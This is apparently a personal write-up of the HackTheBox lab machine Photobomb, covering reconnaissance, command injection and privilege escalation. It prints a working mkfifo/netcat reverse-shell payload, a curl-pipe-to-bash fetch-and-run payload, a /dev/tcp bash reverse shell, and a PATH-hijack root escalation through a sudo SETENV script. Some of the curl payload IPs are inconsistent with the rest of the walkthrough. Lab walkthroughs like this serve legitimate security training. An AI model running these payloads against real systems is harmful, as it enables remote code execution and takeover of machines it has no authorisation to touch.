> For the complete documentation index, see [llms.txt](https://robertos-notebook.gitbook.io/cybersecurity/llms.txt). Markdown versions of documentation pages are available by appending `.md` to page URLs; this page is available as [Markdown](https://robertos-notebook.gitbook.io/cybersecurity/hack-the-box/old-machines/easy-machine/photobomb.md).

# Photobomb

\#Linux #Enumeration #Command-Injection #SUDO-Exploit #Path-Hijacking

Photomomb is an easy-rated Linux machine from [HackTheBox](https://app.hackthebox.com/machines/297), created by slartibartfast. In the current post, my IP is 10.10.14.56, and the target IP is 10.129.228.60

### Recon

The first steps are about getting basic information about the target, by using nmap and searching information from the website.

{% code title="Local Terminal" %}

```bash
$ ping -c 1 10.129.228.60

Pinging 10.129.228.60 with 32 bytes of data:
Reply from 10.129.228.60: bytes=32 time=197ms TTL=63
Reply from 10.129.228.60: bytes=32 time=194ms TTL=63
Reply from 10.129.228.60: bytes=32 time=197ms TTL=63
Reply from 10.129.228.60: bytes=32 time=185ms TTL=63

Ping statistics for 10.129.228.60:
    Packets: Sent = 4, Received = 4, Lost = 0 (0% loss),
Approximate round trip times in milli-seconds:
    Minimum = 185ms, Maximum = 197ms, Average = 193ms
```

{% endcode %}

By the TTL, we can assume that is a Linux Machine.

{% code title="Local Terminal" %}

```bash
$ nmap -p- --open -sS --min-rate 5000 -vvv -n 10.129.228.60 -oN Ports

Nmap scan report for 10.129.228.60
Host is up, received echo-reply ttl 63 (0.23s latency).
Scanned at 2023-06-08 11:19:12 Pacific SA Standard Time for 17s
Not shown: 65436 closed tcp ports (reset), 97 filtered tcp ports (no-response)
Some closed ports may be reported as filtered due to --defeat-rst-ratelimit
PORT   STATE SERVICE REASON
22/tcp open  ssh     syn-ack ttl 63
80/tcp open  http    syn-ack ttl 63

Read data files from: C:\Program Files (x86)\Nmap
Nmap done: 1 IP address (1 host up) scanned in 17.16 seconds
           Raw packets sent: 80781 (3.554MB) | Rcvd: 78472 (3.139MB)
```

{% endcode %}

{% code title="Local Terminal" %}

```bash
$ nmap -sCV -p 22,80,33060 10.129.167.56 -oN Target

Starting Nmap 7.92 ( https://nmap.org ) at 2023-06-08 11:19 Pacific SA Standard Time
Nmap scan report for 10.129.228.60
Host is up (0.18s latency).

PORT   STATE SERVICE VERSION
22/tcp open  ssh     OpenSSH 8.2p1 Ubuntu 4ubuntu0.5 (Ubuntu Linux; protocol 2.0)
| ssh-hostkey:
|   3072 e2:24:73:bb:fb:df:5c:b5:20:b6:68:76:74:8a:b5:8d (RSA)
|   256 04:e3:ac:6e:18:4e:1b:7e:ff:ac:4f:e3:9d:d2:1b:ae (ECDSA)
|_  256 20:e0:5d:8c:ba:71:f0:8c:3a:18:19:f2:40:11:d2:9e (ED25519)
80/tcp open  http    nginx 1.18.0 (Ubuntu)
|_http-title: Did not follow redirect to http://photobomb.htb/
|_http-server-header: nginx/1.18.0 (Ubuntu)
Service Info: OS: Linux; CPE: cpe:/o:linux:linux_kernel

Service detection performed. Please report any incorrect results at https://nmap.org/submit/ .
Nmap done: 1 IP address (1 host up) scanned in 14.27 seconds
```

{% endcode %}

If you search for "OpenSSH 8.2p1 Ubuntu 4ubuntu0.5 launchpad", you can find the specific machine type, in this case the result was: "Ubuntu Focal". It could be useful to find an vulnerability for a certain version.

Information that we have now: It's a website (port 80) that use nginx/1.18.0, 

Because of the following message "Did not follow redirect to <http://photobomb.htb/>" we have to [add the IP to /etc/hosts/](/cybersecurity/cybersecurity/tip-and-tricks/add-host.md)

{% code title="Local Terminal" %}

```bash
$ whatweb photobomb.htb

http://photobomb.htb [200 OK] Country[RESERVED][ZZ], HTML5, 
HTTPServer[Ubuntu Linux][nginx/1.18.0 (Ubuntu)], IP[10.129.228.60], Script, 
Title[Photobomb], UncommonHeaders[x-content-type-options], X-Frame-Options[SAMEORIGIN],
 X-XSS-Protection[1; mode=block], nginx[1.18.0]
```

{% endcode %}

Nothing unusual.

* Browser > <http://photobomb.htb/>

<figure><img src="https://937334506-files.gitbook.io/~/files/v0/b/gitbook-x-prod.appspot.com/o/spaces%2FNqjbvJ4m6enB6HiVWSTQ%2Fuploads%2F2I84gvP29bHuCQgmirQI%2Fimage.png?alt=media&amp;token=8f1bf3e3-e787-4f77-87f8-8705198a9913" alt=""><figcaption><p>view:source, there is an interesting JavaScript URL.</p></figcaption></figure>

* Browser  > <http://photobomb.htb/photobomb.js>

<figure><img src="https://937334506-files.gitbook.io/~/files/v0/b/gitbook-x-prod.appspot.com/o/spaces%2FNqjbvJ4m6enB6HiVWSTQ%2Fuploads%2Fp6LDGt3M0khpKxFNRnwl%2Fimage.png?alt=media&amp;token=d364e13d-1492-47c0-8c80-5035a202ce3d" alt=""><figcaption><p>URL with possible credentials, using the structure http://<strong>user</strong>:<strong>pass</strong>@<strong>url</strong>   pH0t0:b0Mb!</p></figcaption></figure>

* Browser > <http://photobomb.htb/printer>

Login, you can see that there are a lot of images, download one with the "downloader" bellow and analyze with **exiftool**,&#x20;

{% code title="Local Terminal" %}

```bash
$ exiftool image.jpg
ExifTool Version Number         : 12.40
File Name                       : image.jpg
Directory                       : .
File Size                       : 267 KiB
File Modification Date/Time     : 2023:06:08 11:57:20-04:00
File Access Date/Time           : 2023:06:08 11:57:47-04:00
File Inode Change Date/Time     : 2023:06:08 11:57:46-04:00
<...>
```

{% endcode %}

Nothing here,&#x20;

### Reverse Shell \[wizard]

let's intercept with **Burpsuite** the download process.

<figure><img src="https://937334506-files.gitbook.io/~/files/v0/b/gitbook-x-prod.appspot.com/o/spaces%2FNqjbvJ4m6enB6HiVWSTQ%2Fuploads%2FYM8cJKOmLqZqwkCGs3vw%2Fimage.png?alt=media&amp;token=e89ccfa0-92d1-467b-b702-b59b24dc7f67" alt=""><figcaption></figcaption></figure>

Here we can find 3 parameters, maybe it's using a command from a shell, to test if it's vulnerable to a **Command Injection** you can simply add **;sleep+5** at the end.

At it fails at **photo,** but works at **filetype.**

<figure><img src="https://937334506-files.gitbook.io/~/files/v0/b/gitbook-x-prod.appspot.com/o/spaces%2FNqjbvJ4m6enB6HiVWSTQ%2Fuploads%2FYwj0Q7ZgSaydbbXhIXZd%2Fimage.png?alt=media&amp;token=934d8bf2-c519-432f-9f49-83aa6335a93a" alt=""><figcaption><p>It took 5 seconds to respond, works!</p></figcaption></figure>

Here we can test if it's possible to the target to connect with our machine, using netcat.

{% embed url="<https://pentestmonkey.net/cheat-sheet/shells/reverse-shell-cheat-sheet>" %}

{% code title="Local Terminal" %}

```bash
$ nc -nlvp 443
```

{% endcode %}

```
;rm+/tmp/f;mkfifo+/tmp/f;cat+/tmp/f|/bin/sh+-i+2>%261|nc+10.10.14.56+443+>/tmp/f
```

<figure><img src="https://937334506-files.gitbook.io/~/files/v0/b/gitbook-x-prod.appspot.com/o/spaces%2FNqjbvJ4m6enB6HiVWSTQ%2Fuploads%2FmwzekqavrKAEZAA3E7Qw%2Fimage.png?alt=media&amp;token=d0ec78cb-d835-4f40-a76d-4aba672b6ba9" alt=""><figcaption><p>Request content, with the previous payload</p></figcaption></figure>

And your local terminal is \[www-data]

#### Alternative

But, what if the target machine doesn't have netcat installed? First, you can test the connection by using curl with an http.server&#x20;

{% code title="Local Terminal" %}

```bash
$ python3 -m http.server 80
```

{% endcode %}

{% code title="Request Payload" %}

```bash
;curl+10.129.228.60
```

{% endcode %}

If the http.server receive a response, you can do the following to connect:

1. Create a file with **vi index.html**

<pre class="language-bash"><code class="lang-bash"><strong>#!/bin/bash
</strong><strong>
</strong><strong>bash -i /dev/tcp/10.10.14.56/443 0>&#x26;1
</strong></code></pre>

2. Open an http.server

{% code title="Local Terminal" %}

```bash
$ python3 -m http.server 80
```

{% endcode %}

3. Send a requet with the following payload

{% code title="Request Payload" %}

```bash
;curl+10.129.228.60|bash
```

{% endcode %}

### Privileges Escalation

Once inside the machine, do a [Bash Upgrade ](/cybersecurity/cybersecurity/tip-and-tricks/bash-upgrade.md)before anything.

{% code title="Target Terminal \[Wizard]" %}

```bash
wizard@photobomb:~/photobomb$ cat /home/wizard/user.txt
ad0f6c79c2897bd42cfb3be6cc74878e
```

{% endcode %}

{% code title="Target Terminal \[Wizard]" %}

```bash
wizard@photobomb:~/photobomb$ id
uid=1000(wizard) gid=1000(wizard) groups=1000(wizard)

wizard@photobomb:~/photobomb$ sudo -l
Matching Defaults entries for wizard on photobomb:
    env_reset, mail_badpass, secure_path=/usr/local/sbin\:/usr/local/bin\:/usr/sbin\:/usr/bin\:/sbin\:/bin\:/snap/bin

User wizard may run the following commands on photobomb:
    (root) SETENV: NOPASSWD: /opt/cleanup.sh
```

{% endcode %}

There is a custom sudo file there, let's see what's inside with **cat /opt/cleanup.sh**

{% code title="Target Terminal \[Wizard]" %}

```bash
#!/bin/bash
. /opt/.bashrc
cd /home/wizard/photobomb

# clean up log files
if [ -s log/photobomb.log ] && ! [ -L log/photobomb.log ]
then
  /bin/cat log/photobomb.log > log/photobomb.log.old
  /usr/bin/truncate -s0 log/photobomb.log
fi

# protect the priceless originals
find source_images -type f -name '*.jpg' -exec chown root:root {} \;
```

{% endcode %}

In Linux, the sign **\[** is a command, you can see with **which \[** if exist.

Well, here that command and **find** are called in a relative way, this means that we can change the path to execute another command&#x20;

{% code title="Target Terminal \[Wizard]" %}

```bash
$ cd /tmp

$ nano find
```

{% endcode %}

{% code title="find" %}

```bash
bash -p
```

{% endcode %}

{% code title="Target Terminal \[Wizard]" %}

```bash
chmod +x find
```

{% endcode %}

And now we change the path of the command, remember that thanks to **SETENV** we can change the environment.

{% code title="Target Terminal \[Wizard]" %}

```bash
sudo PATH=/tmp:$PATH /opt/cleanup.sh
```

{% endcode %}

{% code title="Target Terminal \[Root]" %}

```bash
$ cat /root/root.txt
5e34e0049aa430f82876322e4ef75676
```

{% endcode %}